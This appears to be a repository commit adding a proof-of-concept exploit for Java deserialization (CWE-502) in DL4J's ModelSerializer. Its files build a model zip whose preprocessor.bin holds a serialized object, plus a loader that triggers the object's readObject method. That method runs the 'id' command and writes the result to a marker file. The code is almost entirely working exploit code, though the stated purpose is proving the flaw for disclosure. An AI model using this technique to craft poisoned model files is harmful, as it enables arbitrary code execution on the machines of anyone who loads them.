DL4J ModelSerializer Java-deser CWE-502 PoC
Browse files- poc/Evil.java +26 -0
- poc/Load.java +10 -0
- poc/MakeEvil2.java +30 -0
- poc/benign_control.zip +3 -0
- poc/malicious_model.zip +3 -0
poc/Evil.java
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import java.io.*;
|
| 2 |
+
|
| 3 |
+
// A Serializable class whose readObject side-effects, proving the loader
|
| 4 |
+
// invokes ObjectInputStream.readObject() on attacker-controlled preprocessor.bin.
|
| 5 |
+
// (Stands in for a real ysoserial gadget; this class is on the classpath only
|
| 6 |
+
// to PROVE the deser primitive fires on standard load.)
|
| 7 |
+
public class Evil implements Serializable {
|
| 8 |
+
private static final long serialVersionUID = 1L;
|
| 9 |
+
String note;
|
| 10 |
+
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
|
| 11 |
+
in.defaultReadObject();
|
| 12 |
+
try {
|
| 13 |
+
String marker = "MARKER_DL4J_DESER_7Q3X note=" + note + " whoami=";
|
| 14 |
+
Process p = Runtime.getRuntime().exec(new String[]{"id"});
|
| 15 |
+
java.io.ByteArrayOutputStream bo = new java.io.ByteArrayOutputStream();
|
| 16 |
+
byte[] buf=new byte[1024]; int n;
|
| 17 |
+
InputStream is=p.getInputStream();
|
| 18 |
+
while((n=is.read(buf))>0) bo.write(buf,0,n);
|
| 19 |
+
marker += bo.toString().trim();
|
| 20 |
+
try (FileWriter fw = new FileWriter("/tmp/dl4jlab/DL4J_DESER_PROOF.txt")) {
|
| 21 |
+
fw.write(marker + "\n");
|
| 22 |
+
}
|
| 23 |
+
System.err.println(marker);
|
| 24 |
+
} catch (Exception e) { e.printStackTrace(); }
|
| 25 |
+
}
|
| 26 |
+
}
|
poc/Load.java
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import org.deeplearning4j.nn.multilayer.MultiLayerNetwork;
|
| 2 |
+
import org.deeplearning4j.util.ModelSerializer;
|
| 3 |
+
import java.io.File;
|
| 4 |
+
|
| 5 |
+
public class Load {
|
| 6 |
+
public static void main(String[] a) throws Exception {
|
| 7 |
+
MultiLayerNetwork net = ModelSerializer.restoreMultiLayerNetwork(new File(a[0]), true);
|
| 8 |
+
System.out.println("LOADED_OK params=" + net.numParams());
|
| 9 |
+
}
|
| 10 |
+
}
|
poc/MakeEvil2.java
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import java.io.*;
|
| 2 |
+
import java.util.zip.*;
|
| 3 |
+
|
| 4 |
+
public class MakeEvil2 {
|
| 5 |
+
public static void main(String[] a) throws Exception {
|
| 6 |
+
Evil e = new Evil();
|
| 7 |
+
e.note = "served-as-preprocessor.bin";
|
| 8 |
+
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
| 9 |
+
ObjectOutputStream oos = new ObjectOutputStream(bos);
|
| 10 |
+
oos.writeObject(e); oos.close();
|
| 11 |
+
byte[] preproc = bos.toByteArray();
|
| 12 |
+
|
| 13 |
+
byte[] cfg=null, coef=null;
|
| 14 |
+
try (ZipInputStream zin = new ZipInputStream(new FileInputStream("/tmp/dl4jlab/valid.zip"))) {
|
| 15 |
+
ZipEntry z;
|
| 16 |
+
while ((z=zin.getNextEntry())!=null) {
|
| 17 |
+
ByteArrayOutputStream b=new ByteArrayOutputStream(); byte[] buf=new byte[4096]; int n;
|
| 18 |
+
while((n=zin.read(buf))>0) b.write(buf,0,n);
|
| 19 |
+
if (z.getName().equals("configuration.json")) cfg=b.toByteArray();
|
| 20 |
+
if (z.getName().equals("coefficients.bin")) coef=b.toByteArray();
|
| 21 |
+
}
|
| 22 |
+
}
|
| 23 |
+
try (ZipOutputStream zos = new ZipOutputStream(new FileOutputStream("/tmp/dl4jlab/evil2.zip"))) {
|
| 24 |
+
zos.putNextEntry(new ZipEntry("configuration.json")); zos.write(cfg); zos.closeEntry();
|
| 25 |
+
zos.putNextEntry(new ZipEntry("coefficients.bin")); zos.write(coef); zos.closeEntry();
|
| 26 |
+
zos.putNextEntry(new ZipEntry("preprocessor.bin")); zos.write(preproc); zos.closeEntry();
|
| 27 |
+
}
|
| 28 |
+
System.out.println("WROTE evil2.zip preproc_bytes="+preproc.length);
|
| 29 |
+
}
|
| 30 |
+
}
|
poc/benign_control.zip
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:45394ca85be7527083a09817a0bc6de843945b247b66213fda6d53c88859bd8f
|
| 3 |
+
size 1131
|
poc/malicious_model.zip
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:a6943d25ef7da38bee3d6faa0561a584cea645c9163b036b4d3b17edb3cdc0bd
|
| 3 |
+
size 1334
|